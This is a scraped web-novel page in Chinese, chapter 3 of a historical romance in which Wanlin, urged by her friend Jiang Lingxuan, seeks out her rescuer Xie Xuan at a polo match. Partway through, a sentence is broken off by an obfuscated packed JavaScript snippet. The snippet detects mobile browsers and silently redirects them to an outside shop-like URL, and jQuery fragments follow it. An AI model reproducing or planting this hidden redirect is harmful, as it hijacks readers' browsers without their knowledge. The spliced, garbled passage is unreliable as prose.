默认冷灰
24号文字
方正启体

3. 以身相许,天经地义

作者:墨染相思本书字数:K更新时间:
    惆怅间,画眉挑开珠帘,端来一盘点心。


    晚苓恍然接过那碗蜜遮杨梅羹,舀起一匙胭脂色的果肉,囫囵咽下。


    屋内熏香冉冉,鼻息透入,人也醉了几分。


    江灵萱安慰她:“无妨无妨,俗话说施恩不图报,既然他没认出你,想必也没将此事放在心上。”


    晚苓似蹙非蹙,垂头叹息:“人都说滴水之恩当涌泉相报,就算他不图什么,我也理应感恩戴德,结草衔环,必不相负。”


    “上回你好像不是这么说的......”


    江灵萱认真盯着她,扯出一抹调皮的笑:“你说他长得一副黑心冷脸的模样,身材魁梧一不顺心就会打死人。”


    “那、那是男子气概嘛。”


    晚苓脸色霎红,捂着良心小声辩驳。


    “你还说他拳脚粗蛮,凶神恶煞不给姑娘家留面子。”


    “那是宁嘉县主逼迫他娶,没了爵位还得被人攀附,一时生气口不择言也是有的。”


    “那你还要偷偷骂他吗?”


    “呃......不了吧......”毕竟是恩人来着。


    要没有谢铉,她怕是早就魂归黄泉了。


    如此看来,长得凶算什么,现下他哪哪都是优点。


    江灵萱捏着瓜子笑出泪花,忍不住歪头歪脑打趣:“也不知道是谁,先前还说人家是凶巴巴的黑脸阎王,现在就成了大慈大悲的救命菩萨?”


    见晚苓头都快低到尘埃里了,她继续捏着嗓子调笑:“哎呀,谢铉虽然冷了些,凶了些,可到底是救命恩人呢,我们程大姑娘可怎么办......”


    “我那时又不知道......”


    她羞愧闭上眼睛,绞着帕子往床角缩。


    如果早知道,在襄王府肯定上去当面道谢。


    再不济,也多瞧几眼。


    江灵萱踢了鞋追上去,捧起她的下巴,一派真诚建议:“别躲嘛,既然你不讨厌,又心心念念报恩,不如效仿宁嘉县主嫁给他?”


    “救命之恩,以身相许,天经地义!”


    “不成不成!”晚苓抽出手按住她的嘴。


    没有宁嘉县主的事,她或许还能付诸行动,希望以一颗真心感化他。


    前车之鉴,难保谢铉不会对她报恩的想法生厌,继而像嘲讽宁嘉县主一样,让她嫁给他的手下。


    她可不想十六岁就当祖母,过上含饴弄孙的生活。


    两人闹着滚着,又追去湘妃榻上把窗户打开,檐下新燕听到动静,扑棱棱飞远。


    画眉过来收拾时,晚苓云鬓散乱,妆饰松脱,像是刚从床榻起来。


    薄纱样的披帛滑落肩头,连衣襟也松动了,露出白皙如玉的鹅颈和圆滑的肩头,脸上一股幽怨看着江灵萱。


    江灵萱趁手拿过画笔,沾了胭脂点上她的脸,一朵桃花开在眉间。


    她十分满意自己的杰作:“别灰心嘛,你的容貌,寒铁也要化成绕指柔,谢铉怎么会不喜欢......”


    美人甚多,晚苓的美就是每个人见了都会惊叹她怎能如此完美无缺的那种。


    有的女子容貌华丽,肤色却不够白净细腻,音色婉转如莺的身段又缺轻盈飘逸,曲线玲珑的面容大多娇媚过嗔,叫人看了直觉俗气。


    只有晚苓,哪怕用最挑剔的眼神观摩全身上下,也找不出一丝瑕疵,不似凡间人。


    这种美,已经超越了寻常。


    哪怕在桥州大门不出二门不迈,外人只消听说,都顾不得那招蜂引蝶的名声,想把她娶回家。


    到了上京,这让人一见即化的美貌,哪个见了没点想法,像陆延那般没有十个也有八个。


    她俯首贴近晚苓耳边,细声细语:“说来还有一事关乎你,最近上京许多世家贵女都在急着挑选夫婿,你可知是为何?”


    “为何?”


    “当然是为了不嫁给太子殿下当寡妇!”


    “听说,皇后娘娘正给太子殿下相看太子妃,虽说他也不一定那么快死,但那身子骨确实不是长寿之相,你若久久不定亲,我看陛下极有可能选你当太子妃。”


    “你怎么会这么想?”


    晚苓进京半年,只跟着程夫人出席过几次宴会,连宫门朝哪开都不知。


    “嘿嘿!”江灵萱指了指上头的方向,神秘一笑。


    “眼下都在传,陛下从一众州府中看重你父亲,多半是看你家容貌个顶个的好,毕竟当年他求娶皇后娘娘当太子妃,也是因为娘娘貌若天仙。”


    诚然,程侍郎和程夫人都长相出众,一个俊美无铸,一个姿容窈窕,晚苓更是挑剔地结合了二人的优点。


    江灵萱继续低声道:“大梁皇室从前有殉葬的习俗,若你真嫁了太子,哪天他死了,就算如今没了殉葬的要求,但陛下和娘娘不忍他一人孤单,非要送你去陪他,你父亲身为臣子,难道还能拒绝,如此,你还怕去碰谢铉的灰吗?”


    晚苓摇头。


    两人默契对上了眼色。


    江灵萱是个热心肠的,办事又利落,回家立马就和江砚白打听谢铉喜欢什么样的女子,势必要让谢铉喜欢上晚苓。


    不久后,东门京郊外。


    晚苓收到江灵萱的信,特意换了一身雪青色的襦衫出门。


    双肩搭着藕荷长纱帛,整个人如同雪后初晴展露的一抹微紫,鲜嫩而娇媚。


    江灵萱叉腰绕着她转了两圈,连连摇头:“美则美矣,可我们是去打马球啊。”


    “你这模样,别说骑马,被风吹两下都要乱套了,待会儿可别在谢铉面前出丑才是。”


    晚苓原本就有些犹豫不决,听她这么一说,更加踌躇了,揪着帕子把她往回拉。


    “你确定谢铉喜欢武艺高强、英姿飒爽的女子?要不还是算了吧,就算我想嫁他,为何要我自己去......我是大家闺秀,不应该是父母替我去说亲吗?”


    宁嘉县主行事如此大胆奔放,尚且请了长辈试探一二。


    她只是女儿家,抛头露面和外男幽会,试图勾引,总觉得有失妥当。


    “非也非也。”


    江灵萱左手摸着下巴,右手捏了捏她的披肩,分析道:“你和谢铉素不相识,程伯父贸贸然去说亲,你觉得谢铉会答应?”


    晚苓想了想,讪讪摇头。


    “所以啊,咱们先在他面前露个脸,让他知道你长什么样子,倘若他对你避之不及,毫无想法,那程伯父也不用跑去受人白眼,倘若他喜欢你,正好让他向你家提亲,皆大欢喜。”


    晚苓抿抿唇。


    她说的,好像有点道理。


    江砚白和谢铉交情匪浅,好不容易有机会近距离看看谢铉,也能让他知道上京有自己这么个人,让江砚白探知他的心意,是最好不过。


    就算他真不喜欢,江家也不会传扬出去。


    可不知为何,她心里总在打鼓。


    对宁嘉县主都不假辞色的谢铉,知道她也是一样的想法后,口出恶言,或者心生厌恶怎么办?


    她不想被救命恩人讨厌。


    江灵萱让她别想那么多,没有尝试就退缩,难道真想去殉葬?


    两厢抉择,晚苓还是听了她的话,换了身骑马的装束。


    此时春末消去,草色葱葱郁郁刚好漫过靴子,又不会染上尘泥,正是打马球的好时节。


    谢铉牵着一匹高大的赤马,穿着一身绛色圆领窄袖长袍,锦带束在腰间,身形修长,眉含英气。


    他没戴皮靴和护具,只右手单拎着一节球杖,眼睛扫过对面几个同样穿着长袍的青年男子,拍了拍身旁的爱驹赤峰。


    这是他从战场上带回来的,浑身呈赤金色,精神昂然,尾巴和四肢强壮有力,甩其他人的马一大截。


    鼓声擂擂,马场助兴的大鼓砰砰作响,赤峰马蹄刨动,几次想要起步跑远。


    谢铉拍了拍马腹,说了声别急。


    回头寻找江砚白,那个熟悉的身影让他一瞬间便蹙了眉。


    晚苓站在不远处,身上的骑装精巧干练。


    乌发高髻,两条碧色发带随风而动,走动时格外妖娆纤弱.


    尤其是那刻意收紧的腰身,盈盈不足一握,楚楚动人,一下子便把在场的目光都收过去了。


    谢铉扫了一眼,转回头,目不斜视摸了摸赤峰的鬃毛,把护腕缠紧了。


    而那双漂亮得过分的眼睛见到他,闪过一丝惊喜。


    正准备抬脚,就被一个青衫皂靴打扮的男子拦住。


    “程姑娘,原来你在这儿,害得我好找。”


    男子快步上前,嘴角噙着浅笑,如影随形的目光让人难以忽略。


    “是楼公子啊,我还有——”


    没等晚苓说完,楼栈指了指自己牵来的马:“姑娘刚刚不是去看了马鞍,我知姑娘身量小,恐怕不适应那些个硬梆梆的鞍,特意给你挑了一个舒适柔软的,裹着棉花和羊皮的短桥软鞍,坐上去绝不会累人。”


    晚苓望了望那匹白马身上的鞍鞯,果然比其他人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371132|199909||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的厚实柔软些,边上甚至嵌了软软的灰兔毛。


    “多谢楼公子,我还得和灵萱去寻她兄长,马场事务繁忙,就不劳公子费心......”


    楼栈似完全听不出她的拒绝:“没关系,我今日刚好无事,愿陪姑娘试试手。”


    “可我......”


    晚苓尴尬笑了笑,又抬头看了眼谢铉那边。


    哨声吹响后,谢铉便牵着赤峰到了今日做裁判的钱都知处,与江砚白一同祭拜鞠城神。


    若只有男子马球赛,大多是用跑马“大打”,而女子体力较弱,一般选择骑驴“小打”。


    当然也有女子巾帼不让须眉,和男子一般想要驯服马匹,驰骋沙场。


    显然,她并不在此列。


    好不容易见到本尊,还没说上两句话,就被人堵了。


    晚苓咽了咽口水,张望谢铉远去的背影,与楼栈交谈时也是心不在焉,想着如何搪塞过去。


    楼栈是这马场的东家少爷。


    听闻她初次打马球便一直往她身边凑,说自己身为东道主,有责任好好关照贵客。


    好不容易甩开他,谁知刚看到谢铉他便又追了上来。


    正不知该怎么办时,去更衣的江灵萱及时出现。


    “楼公子,我看那边韩王府的两个小公子正找你呢,说是球杆断了,要找你问罪。”


    楼栈闻言一惊,立马告辞去应付韩王府的人。


    晚苓松了口气,捂了捂慌乱跳动的胸口。


    她来此,只是为了接近谢铉,马球什么的是一点兴趣也没。


    就算在江灵萱的鼓励下换了这身勒得紧的骑装,也不过做做样子,不至于目的太明显。


    慢慢地,艳阳逐渐上抬至明空。


    没有云彩遮挡,炽热的阳光毫无保留递送温暖,融化了最后一丝春意。


    江灵萱带着晚苓来到谢铉身边,见礼后,江砚白便向他介绍晚苓。


    他当然还记着晚苓和陆延在襄王府的纠缠,不过江灵萱已经解释过,那是陆延的一厢情愿。


    晚苓心潮澎湃。


    虽然在襄王府已经见过一次,但那回是远远瞧着,并不看得很清楚。


    走近看了,才看到他真正的样子。


    骨相突出的轮廓,眉眼深邃,鼻梁高挺,看久了,似乎有种想要摸上去的欲望。


    但那浑身散发桀骜冷漠也不是错觉,那高高在上的脸色,没来由就叫人心生退意。


    “程氏晚苓,见过二公子。”


    江灵萱看了眼她小心翼翼屈身行礼的样子,直接对谢铉道:“二公子,我们听说你要和昭阳府的小公子比赛,特意为你助威,不过晚苓头回来马球场,不敢上手,你是球场圣手,从无败绩,不知可否下场后教教她?”


    晚苓被她直截了当的问话愣在原地,在谢铉看过来时,更是羞愧低下头,压根不敢看他的神色。


    只是等了许久,也不见谢铉同意或是拒绝,她还是想知道结果。


    眼眸悄悄半抬,虚虚透过江灵萱的肩膀,偷偷瞧向那挺拔的身躯。


    他的脸还是那么冷峻,好像什么东西都引不出半点欢心。


    双眸幽黑,冷冽似出鞘利刃,轻而易举划破她的探究,透着不容冒犯的威严。


    晚苓心沉到了谷底。


    “他不是很想当她师傅吗?”


    谢铉没回答江灵萱的问题,往另一头指了指。


    晚苓随他手望去,当即哑然。


    不知什么时候,楼栈已经解决了韩王府的事,牵着一匹白马朝这边走来。


    她急切地抠了抠江灵萱掌心,示意自己不想和楼栈在一处。


    谢铉耳聪目明,将她的不情愿尽收眼底,心中好笑。


    穿着这么招摇,把人勾引来了,又摆出一副贞洁烈女的模样,好似谁能欺负了她。


    江灵萱狠狠瞪了自家兄长一眼。


    接收到讯号的江砚白立刻挡住楼栈,把他拉到一旁:“楼兄,我的爱驹今日不知怎么回事,精神沉郁、食欲废绝,不然等会儿借你的一用......”


    “这......”


    楼栈很想和晚苓再叙,可江砚白是临安侯府的公子,不好得罪,只能带他去选马。


    剩下三人在原地,江灵萱期待地看着谢铉,让他给个准话。


    晚苓则期期艾艾,一张小脸犹豫又胆怯。


    谢铉跳过江灵萱,对她道:“天气炎热,程姑娘似乎身子不爽,日后再说吧。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)